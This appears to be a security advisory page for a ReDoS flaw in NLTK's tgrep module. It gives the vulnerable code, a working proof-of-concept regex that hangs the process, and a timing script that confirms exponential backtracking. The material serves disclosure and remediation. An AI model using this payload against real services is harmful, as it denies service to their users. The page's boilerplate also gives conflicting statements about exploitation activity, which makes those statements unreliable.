Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-w3v8-gmh9-3wv7
Summary
The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.
Affected Code
nltk/tgrep.py — _tgrep_node_action() (around line 320)
When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:
def _tgrep_node_action(_s, _l, tokens):
...
elif tokens[0].startswith("/"):
assert tokens[0].endswith("/")
node_lit = tokens[0][1:-1]
return (
lambda r: lambda n, m=None, l=None: r.search(
_tgrep_node_literal_value(n)
)
)(re.compile(node_lit)) # User regex compiled and executed with no timeout
The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.
Proof of Concept
import nltk
from nltk.tgrep import tgrep_positions
# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree]) # Never returns
Working Poc
The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.
import nltk
from nltk.tgrep import tgrep_positions
import time
def test_n(n):
tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
pattern = r"/((a+)+)b/"
start = time.perf_counter()
list(tgrep_positions(pattern, [tree]))
return time.perf_counter() - start
if __name__ == "__main__":
# Adjust the range if needed – these values complete quickly
n_values = [18, 20, 22, 24, 26, 28]
print(f"Testing n = {n_values}\n")
times = []
for n in n_values:
t = test_n(n)
times.append((n, t))
print(f"n={n:2d} done", flush=True)
print("\n--- Increase factors (per step in n) ---")
factors = []
for i in range(1, len(times)):
prev_n, prev_t = times[i-1]
curr_n, curr_t = times[i]
factor = curr_t / prev_t
factors.append((curr_n, factor))
print(f"n={curr_n:2d} : factor = {factor:.2f}x (vs n={prev_n})")
avg = sum(f for _, f in factors) / len(factors)
print(f"\nAverage factor: {avg:.2f}x")
print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
print(" Larger n (≥ 35) will hang indefinitely.")
When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.
Impact
In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.
Remediation
This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.
Credit
Tool: Kira by Offgrid Security
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard